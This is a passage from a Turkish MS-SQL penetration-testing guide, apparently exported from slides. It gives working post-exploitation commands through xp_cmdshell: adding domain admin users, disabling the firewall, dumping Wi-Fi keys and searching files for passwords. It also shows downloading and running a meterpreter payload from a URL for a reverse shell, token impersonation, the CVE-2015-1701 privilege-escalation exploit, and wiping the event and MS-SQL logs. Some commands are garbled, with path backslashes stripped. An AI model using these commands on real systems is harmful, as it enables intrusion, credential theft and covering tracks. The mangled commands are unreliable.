  28. 28. EYÜP ÇELİK 27 http://www.eyupcelik.com.tr 27 Çalıştır butonumuzun else koşulunu da yukarıdaki gibi dolduruyoruz. Yani kullanıcı hazır komutlar yerine txtKomut’a girdiği komutlar MS-SQL üzerinde çalıştırılarak bize geri döndürülecektir. Programı ilk çalıştırdığımızda eğer “xp_cmdshell” aktif değilse aşağıdaki kod ile aktif duruma alabiliriz. EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE; Uygulamamızı başlatarak, yukarıdaki kodu Komut kısmına yapıştırıp komutumuzu çalıştıralım. Ardından “EXEC xp_cmdshell ‘whoami’;” komutu ile MS-SQL servis hesabının hak ve yetkilerini kontrol edebiliriz. Uygulamamızın çıktısı yukarıdaki gibi olacaktır. Artık uygulamamızı rahatlıkla kullanabiliriz.
  29. 29. EYÜP ÇELİK 28 http://www.eyupcelik.com.tr 28 Dip Not: MS-SQL 2012, 2014 ve 2016 sürümleri varsayılanda “MS-SQL Servis Hesabı” ile kurulmaktadır. Eğer sistem yöneticisi bu hak ve yetkileri değiştirmediyse, servis hesabı yetkilerine sahip olacağız. Servis hesabı yetkileri ile yönetimsel komutlar çalıştırılamamaktadır. Ancak yukarıdaki örnekteki gibi eğer servis hesabı, sistem hak ve yetkilerine ya da yönetici hesaplarından birinin hak ve yetkileri ile kurulmuş ise yönetimsel komutlar gönderebiliriz. Dip Not 2: Bundan sonraki kullanılacak komutları geliştirdiğimiz uygulama üzerinden sisteme göndereceğiz. 3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme Aşağıdaki tabloda yer alan komutlar ile yerel bir kullanıcı hesabı oluşturabilir ve oluşturduğumuz hesaba yönetici hak ve yetkileri tanımlayabiliriz. İşlem Komut Yerel Kullanıcı Ekleme EXEC xp_cmdshell 'net user kullanıcıadı şifre /add'; Yetki Verme EXEC xp_cmdshell 'net localgroup administrators kullanıcıadı /add'; Kullanıcı Silme EXEC xp_cmdshell 'net user kullanıcıadı /del'; Mevcut Kullanıcının Hak ve Yetkilerini Öğrenme EXEC xp_cmdshell 'net user kullanıcıadı'; Eğer elde ettiğimiz MS-SQL kullanıcı hesabı “Domain” kullanıcısı ve domain’de de yetkili bir hesap ise, aşağıdaki komutlar ile kullanıcıyı domain’e ekleyerek yetkilendirebiliriz. Domain Kullanıcısı Ekleme EXEC xp_cmdshell 'net user kullanıcıadı şifre /add /domain'; Domain Admin Yetkisi EXEC xp_cmdshell 'net group "Domain Admins" kullanıcıadı /add /domain'; Domain Kullanıcısı Silme EXEC xp_cmdshell 'net user kullanıcıadı /del /domain'; Mevcut Domain Kullanıcısının Hak ve Yetkilerini Öğrenme EXEC xp_cmdshell 'net user kullanıcıadı /domain'; MS-SQL Kullanıcısı eklemek, hak ve yetki tanımlamak için de aşağıdaki komutlar kullanılabilir. MS-SQL Kullanıcısı Ekleme ve “sysadmin” Yetkisi Verme USE [master] CREATE LOGIN eyup WITH PASSWORD = N'P@ssw0rd1' EXEC sp_addsrvrolemember @loginame = N'eyup', @rolename = N'sysadmin'; Komutumuzun uygulama üzerinden çalıştırılması ve çıktısı aşağıdaki gibi olacaktır.
  30. 30. EYÜP ÇELİK 29 http://www.eyupcelik.com.tr 29 3.c.2 Windows Servislerini Yönetme İşlem Komut Servisleri Listeleme EXEC xp_cmdshell 'net start'; Servis Çalıştırma EXEC xp_cmdshell 'net start "servis adı"'; Servis Durdurma EXEC xp_cmdshell 'net stop "servis adı"'; 3.c.3 İşlemleri Yönetme İşlem Komut Çalışan İşlemleri Listeleme EXEC xp_cmdshell 'tasklist'; Çalışan İşlemleri ve Bağımlılıklarını Listeleme EXEC xp_cmdshell 'tasklist /m'; Uzaktaki Bir Bilgisayarın İşlemlerini Listeleme EXEC xp_cmdshell 'tasklist /s ip /v'; (Bu işlem için bir domain hesabı ile MS-SQL'in ele geçirilmiş olması gerekiyor. Bknz. Bölüm 2.a.1) Bir İşlemi Kapatmaya Zorlama EXEC xp_cmdshell 'tasklist /PID pid /F'; Yüklü Uygulamaları Listeleme EXEC xp_cmdshell '"wmic product get name"'; Yüklü Bir Uygulamayı Kaldırma EXEC xp_cmdshell '"wmic product where name=uygulamanınadı call uninstall /nointeractive"'; 3.c.4 Dosya ve Dizinleri Yönetme İşlem Komut Bir Dizini Listeleme EXEC xp_cmdshell 'dir C:'; Klasör Oluşturma EXEC xp_cmdshell 'md "Klasör adı ve dizini"'; Dizin Silme EXEC xp_cmdshell 'rmdir /s /q "dizin"'; Dosya Kopyalama EXEC xp_cmdshell 'copy "Kaynak Dosya Yolu" "Hedef Dizin"';
  31. 31. EYÜP ÇELİK 30 http://www.eyupcelik.com.tr 30 Tüm Dizinlerde “config” Dosyası Arama EXEC xp_cmdshell 'dir /a /s /b C:*.config'; (Dizin çok büyükse "Execution Timeout"a düşme ihtimalimiz yüksektir) Dosyalar içerisinde Şifre Arama EXEC xp_cmdshell 'findstr /si password *.txt|.xml|*.config'; Bir Dosya Okuma EXEC xp_cmdshell 'type "Dosyanın Yolu"'; 3.c.5 Ağı Yönetme İşlem Komut Bağlantı Bilgilerini Listeleme EXEC xp_cmdshell 'ipconfig /all'; DNS Cache’ini Listeleme EXEC xp_cmdshell 'ipconfig /displaydns'; Bağlantıları Listeleme EXEC xp_cmdshell 'netstat -ano'; Etkin Bağlantılar EXEC xp_cmdshell 'netstat -an| findstr ESTABLISHED'; Routing Tablosu EXEC xp_cmdshell 'route print'; ARP Cache’ini Listeleme EXEC xp_cmdshell 'arp -a'; Bağlanılan Kablosuz Ağları Listeleme EXEC xp_cmdshell 'netsh wlan show profiles'; Windows Güvenlik Duvarını Kapatma EXEC xp_cmdshell 'netsh Advfirewall set allprofiles state off'; Bağlanılan Kablosuz Ağ Şifrelerini Export Etme EXEC xp_cmdshell 'netsh wlan export profile name="Kablosuz Ağ Adı" folder="dizin" key=clear'; Ağ Kartlarını Listeleme EXEC xp_cmdshell 'netsh interface ip show interfaces'; Uzak Masaüstü’nü Aktif Etme EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f'; 3.c.6 Windows Yamalarını Yönetme İşlem Komut Yüklü Yamaları Listeleme EXEC xp_cmdshell '"wmic qfe get Hotfixid"'; Yüklü Bir Yamayı Kaldırma EXEC xp_cmdshell '"wusa /uninstall /kb:id"'; 3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma Bu bölümde MS-SQL’e dosya indirme ve zararlı kod çalıştırma konularına değineceğiz. Windows işletim sistemlerinde en büyük problemlerden biri dosya indirme sorunudur. Çünkü *nix işletim sistemlerinde wget ya da benzeri bir araç ile rahatlıkla sunucuya dosya indirebilirsiniz. Ancak Windows işletim sistemlerinde bu biraz zor. 3.d.1 Windows’a Dosya İndirme Windows işletim sistemine dosya indirmek için iki temel araç kullanabiliriz. 1. “BITS (Background Intelligent Transfer Service) Servisi” 2. Powershell. BITS servisini kullanarak işletim sistemine dosya indirebilmek için öncelikle BITS servisini çalışır duruma getirmemiz lazım. Bunun için “EXEC xp_cmdshell '"net start BITS"';” komutunu kullanıyoruz. Hemen ardından dosya indireceğimiz komutu giriyoruz. EXEC xp_cmdshell '"bitsadmin /transfer WarSQLiJob /download /priority normal http://eyupcelik.com.tr/malware.exe C:dizinmalware.exe"';
  32. 32. EYÜP ÇELİK 31 http://www.eyupcelik.com.tr 31 Yukarıda bulunan komut ile bir web sayfasında bulunan dosyayı MS-SQL sunucusuna indirebiliriz. Programımız üzerinden dosya indirme komutunu verdik ve 7zip uygulamasını masaüstüne kaydettik. DECLARE @cmd NVARCHAR(250); DECLARE @URL NVARCHAR(100); DECLARE @file NVARCHAR(100); SET @URL ='http://eyupcelik.com.tr/malware.exe' SET @file='C:dizinmalware2.exe' SET @cmd ='powershell "(new-object System.Net.WebClient).DownloadFile('''+@URL+''','''+@file+''')"' EXEC master.dbo.xp_cmdshell @cmd Powershell üzerinden de ayrıca dosya indirebiliriz. Dosya indirebilmek için yukarıda yazılı olan kodu kullanabiliriz. Kod içerisinde belirtilen URL adresinden dosyayı belirtmiş olduğumuz dizine indirecektir. 3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma Bir sızma testinde sadece MS-SQL veritabanını ele geçirmek yeterli olmayacaktır. Aynı zamanda sunucuyu ele geçirmek ve sunucuda oturum açan diğer kullanıcı hesaplarını da ele geçirmek gerekiyor. Böylece oturum açan kullanıcı hesaplarını elde ederek, başka sunucu ya da sistemleri ele geçirebiliriz. Bu dokümanda yapacağımız işlem ise MS-SQL sunucusuna “meterpreter” zararlısı indirerek, sunucudan ters bağlantı almak ve ardından domain controller’a erişmek olacaktır.
  33. 33. EYÜP ÇELİK 32 http://www.eyupcelik.com.tr 32 MSFVenom aracı ile zararlı yazılım oluşturmak ve detayları için http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve- msfvenom-ile-backdoor-olusturma bu yazımı da okumanızı tavsiye ederim. MSFVenom ile meterpreter zararlısı oluşturarak /root/Desktop/db.exe dizinine kaydettik. Dosyayı /var/www/html dizinine taşıyalım ve ardından erişim yetkisi verelim. Dosyayı taşıyıp yetkiyi verdikten sonra, Apache servisini “service apache2 start” komutu ile başlatalım. Ardından “msfconsole” komutu ile Metasploit Framework’e erişelim. Bir handler başlattık ve reverse_tcp pyload’unu set ettik. Ardından bir job olarak başlattık. Şimdi MS-SQL sunucusuna erişip, Kali Linux makinamızdaki db.exe dosyasını veritabanı sunucumuza indirelim ve çalıştırarak backconnect alalım.
  34. 34. EYÜP ÇELİK 33 http://www.eyupcelik.com.tr 33 Dosyayı MS-SQL sunucusuna indirdik. Geriye bir tek çalıştırmak kalıyor.
  35. 35. EYÜP ÇELİK 34 http://www.eyupcelik.com.tr 34 MS-SQL sunucusuna indirdiğimiz db.exe dosyasını “EXEC xp_cmdshell '"cmd /c C:dbDesktopdb.exe"';” komutu ile çalıştırdık. Metasploit’e bağlantı geldi. Session’a eriştik. “SYSTEM” hak ve yetkilerine sahibiz. Metasploit “incognito” modülü ile sunucuda oturum açan diğer kullanıcı hesaplarına geçiş yapacağız. “load incognio” komutu ile “incognito” modülü yükledik. “list_token -u” komutu ile hesabına geçiş yapacağımız kullanıcıları listeledik. “SECURITYLABSdb” kullanıcısının oturumu olduğunu keşfettik. “impersonate_token SECURITYLABSdb” komutu ile db kullanışının hak ve yetkilerine geçiş yaptık.
  36. 36. EYÜP ÇELİK 35 http://www.eyupcelik.com.tr 35 “shell” komutu ile Windows komut arabirimine düştük. “net user db /domain” komutu ile db kullanıcısının hak ve yetkilerini kontrol ettik. db kullanıcısı “Domain Admins” grubundaymış. Artık bu kullanıcı hak ve yetkileri ile domain’de istediğimiz komutu çalıştırabiliriz.
  37. 37. EYÜP ÇELİK 36 http://www.eyupcelik.com.tr 36 Domain’e “eyupcelik” adında bir kullanıcı ekledik ve eklediğimiz kullanıcıyı “Domain Admins” grubuna dahil ettik. 3.d.3 Meterpreter ile Ters Bağlantı Alma Bu bölümde Metasploit Framework içerisinde yer alan “exploit/windows/mssql/mssql_payload” modülü ile ters bağlantı alma konusuna değineceğiz. Önceki konularda yaptığımızın aksine tüm bu işlemleri Metasploit ile otomatize hale getirebiliriz. Yukarıdaki örnekte görüleceği üzere kullanacağımız modülü seçtik. Bu modül ile birlikte kullanmak üzere PAYLOAD’umuzu set ettik. Ardından elde ettiğimiz şifre bilgisini ve meterpreter’ın geri döneceği IP adresimiz ile portumuzu belirledik. Bu exploiti çalıştırdığımızda artık hedefteki MS-SQL sunucusuna meterpreter zararlımızı göndererek çalıştırabiliriz. Bu işlem için “exploit -j” komutunu kullabiliriz. Hedefe meterpreter ajanımız gönderildikten sonra bir önceki bölümde yer alan tüm işlemleri gerçekleştirebiliriz.
  38. 38. EYÜP ÇELİK 37 http://www.eyupcelik.com.tr 37 4. Hak ve Yetki Yükseltme Şimdiye kadar yaptığımız işlemlerde MS-SQL servisi “nt authoritysystem” hak ve yetkileri kurulduğu için yapabildik. Eğer servis bu hak ve yetkiler ile kurulmamış olsaydı birçok yönetici yetkisi isteyen komutu çalıştıramayacaktık maalesef. Bu bölümde düşük hak ve yetki ile kurulmuş MS-SQL servisinin hak ve yetkilerini yükseltme işlemine değineceğiz. Bir MS-SQL sunucusu varsayılanda aşağıdaki hak ve yetkiler ile çalışmaktadır. MS-SQL’i varsayılan servis yetkilere aldık. Hak ve yetkilerimizi kontrol ediyoruz. Hak ve yetkileri kontrol ettikten sonra, yeni kullanıcı eklemeyi denediğimizde erişim hatası alacağız.
  39. 39. EYÜP ÇELİK 38 http://www.eyupcelik.com.tr 38 MS-SQL’ servis yetkilerinde çalışıyor ve dolayı ile kullanıcı ekleyemiyoruz yahut yönetici hak ve yetkilerinde komut çalıştıramıyoruz. Bu bizim için büyük bir sorun. Bu sorunu aşmak için “Windows Privilege Escalation” exploitlerinden yararlanmamız gerekiyor. Bu noktada imdadımıza “CVE-2015-1701”, “MS15-051” zayıflığını exploit edebilen “Taihou” yetişecektir. Yamamın yüklü olup olmadığını Bölüm 3.c.6’daki “Windows Yamaları Yönetme” konusuna bakabiliriz. Dip Not: Eğer ele geçirdiğimiz MS-SQL server’da “KB3045171” numaralı patch yüklü değil ise hak ve yetkimizi yükseltebiliriz. Tabi bu aynı zamanda açıklığı gidermek için de “KB3045171” nolu patch’i yüklememiz gerektiği anlamına geliyor. Taihou’yu https://github.com/hfiref0x/CVE-2015-1701 adresinden bilgisayarımıza indirelim. İndirme işlemi tamamlandıktan sonra “Taihou.sln” dosyasını çalıştırarak editlememiz daha sağlıklı olacaktır. Taihou’yu yukarıdaki gibi editledik. Buna göre Taihou’yu sunucuda çalıştırdığımızda bir “Privilege Escalation” işlemi gerçekleştirecektir. Ardından yönetici hak ve yetkileri ile “eyupcelikx” adında ve “P@ssw0rd1” parolası ile bir kullanıcı ekleyecek daha sonra eklediği bu kullanıcıyı da “Administrators” yerel yönetici grubuna ekleyecek. Kodu yukarıdaki gibi değiştirdikten sonra, projeyi 32 bit ve 64 bit olarak derleyelim. Hedefimizdeki işletim sistemi hangi mimaride çalışıyorsa derlediğimiz mimarideki Taihou’ya ait exe dosyasını sunucuya göndereceğiz. Bizim eriştiğimiz sunucu x64
  40. 40. EYÜP ÇELİK 39 http://www.eyupcelik.com.tr 39 mimaride çalıştığı için biz derlediğimiz Taihou64.exe dosyasını sunucuya göndereceğiz. Bunun için de bölüm “3.d.1 Windows’a Dosya İndirme” konusuna göz atabilirsiniz. Derlediğimiz Taihou64.exe dosyasını Kali Linux’taki “/var/www/html” dizininin altına alalım. Ardından “chmod 777 Taihou64.exe” komutu ile dosyayı yetkilendirelim. Bu işlemin ardından artık MS-SQL sunucusuna Taihou64.exe dosyamızı indirmemiz lazım. Dosyayı indirirken dikkat etmemiz gereken en önemli nokta, servis hesabında çalışan MS-SQL sunucusunun okuma ve yazma yetkisinin olduğu bir dizine dosyayı indirerek çalıştırmaktır. Windows’da bu dizin “C:UsersPublic” dizinidir. Bu dizin tüm servis ve kullanıcılar tarafından okuma ve yazma işlemlerine izin veren bir dizindir. Dolayısı ile Taihou64.exe dosyamızı bu dizine indireceğiz. Ayrıca bu işlem için bölüm “2.a.1”de yer alan SMB servisini kullanarak da dosyamızı hedef sunucuya yükleyebiliriz. Dosyayı herhangi bir yöntem ile dizine indirdikten sonra gidip çalıştırmamız lazım. Uygulamayı çalıştırmak için “EXEC xp_cmdshell '"dosya dizini ve dosya adı"';” komutunu kullanabiliriz. Uygulamayı çalıştırdıktan sonra uygulama hak ve yetkilerimizi yükselterek “eyupcelikx” kullanıcısını sisteme ekledi ve administrators grubuna dahil etti. Daha sonra “net user” komutu ile sorguladığımızda kullanıcının eklendiğini görmekteyiz.
  41. 41. EYÜP ÇELİK 40 http://www.eyupcelik.com.tr 40 Not: Bu işlem Windows Server 2008 R2 Service Pack 1 ve MS-SQL Server 2012 ve MS- SQL Server 2014 versiyonlarında test edilmiştir. Windows Server 20012 R2 işletim sisteminde çalışmamaktadır. 5. İzlerin Temizliği (Anti-Forensics) Bu kısımda tüm yaptığımız işlemlerin izlerinin silinmesi kısmına değineceğiz. Malum, yaptığımız tüm işlemler, attığımız her adım bir yerlerde loglanmakta ve sistem üzerinde izler bırakmaktayız. Geriye iz bırakmamak adına logların temizlenmesi gerekiyor. MS- SQL için 3 ayrı event log tutuluyor diyebiliriz. 1. Microsoft Event Log Yaptığımız bazı işlemler Microsoft Event Log’da loglanabilir. Microsoft Event Log temel olarak “Application”, “Security”, “Setup” ve “System” başlıkları altında loglama yapmaktadır. Bu logların temizlenmesi için aşağıdaki komutları kullanabiliriz. İşlem Komut Application Log EXEC xp_cmdshell 'wevtutil clear-log Application'; Security Log EXEC xp_cmdshell 'wevtutil clear-log Security'; Setup Log EXEC xp_cmdshell 'wevtutil clear-log Setup'; System Log EXEC xp_cmdshell 'wevtutil clear-log System'; Routing Tablosu EXEC xp_cmdshell 'route print'; 2. MS-SQL Log MS-SQL standart Windows Log servisi dışında kendi loglama sistemini de kullanmaktadır. MS-SQL Log’ları her MS-SQL servisi için ayrı bir dizinde tutulmaktadır. Bu dizini bulmak için “EXEC sp_readerrorlog” stored procedure’ünü kullanabiliriz. Bu procedure bize MS-SQL ile ilgili bir takım bilgiler getirecektir. Procedure çalıştırıldıktan sonra bize dönen verinin 7. Satırında MS-SQL log dizini yer almaktadır. Yukarıdaki ekranda görüleceği üzere bağlandığımız MS-SQL servisinin Log dizini 7. Satırda görülmektedir. Log dizininden sonraki parametreyi silerek MS-SQL log dizinini temizlememiz gerekiyor. Bunun için aşağıdaki komutu kullanabiliriz. İşlem Komut MS-SQL Log Temizleme EXEC xp_cmdshell 'DEL /F /S /Q "C:Program FilesMicrosoft SQL ServerMSSQL11.MSSQLSERVERMSSQLLog*.*"'; Tabiki yukarıdaki komutu olduğu gibi kullanırsanız hata alma olasılığınız çok yüksek. Bu yüzden sp_readerrorlog procedure’ü ile log dizinini almak zorundayız. Dip Not: Bu komut son MS-SQL loglarını silmemektedir. Son log dosyası MS-SQL servisi tarafından kullanıldığı için dosyaya erişim kısıtı mevcuttur. Bu sorunu aşmak için ise
  42. 42. EYÜP ÇELİK 41 http://www.eyupcelik.com.tr 41 logları silmeden önce “EXEC sp_cycle_errorlog” stored procedure’ü ile halihazırda kullanılmak olan log dosyasının kullanımdan çıkarılarak yeni dosya oluşturulmasını sağlayarak, yukarıdaki komutu çalıştırdığımızda tüm logları temizlemiş oluruz. 3. Powershell Log Bazı durumlarda “powershell” komutları ile işletim sisteminde komutlar yürütmemiz gerekebiliyor. Bu durumda eğer sistem powershell komutlarının girdi ve çıktılarını logluyor ise bu logların da temizlenmesi gerekiyor. Powershell loglama eğer “Group Policy” ile açılmış ise detaylı bir loglama yapılır. Bu detaylı loglama tüm powershell komut ve scriptlerinin içerikleri ile birlikte loglanması anlamına gelmektedir. Varsayılanda powershell aşağıdaki log dosyalarını kullanır. a. Windows PowerShell.evtx b. Microsoft-Windows-PowerShell-Operational.evtx c. Microsoft-Windows-PowerShell-Analytic.etl Ayrıca tüm log dosyaları “C:WindowsSystem32winevtLogs” dizininde yer almaktadır. Bu dizinin temizlenmesi yada yukarıda sıraladığım Powershell loğlarının temizlenmesi yeterli olacaktır.

×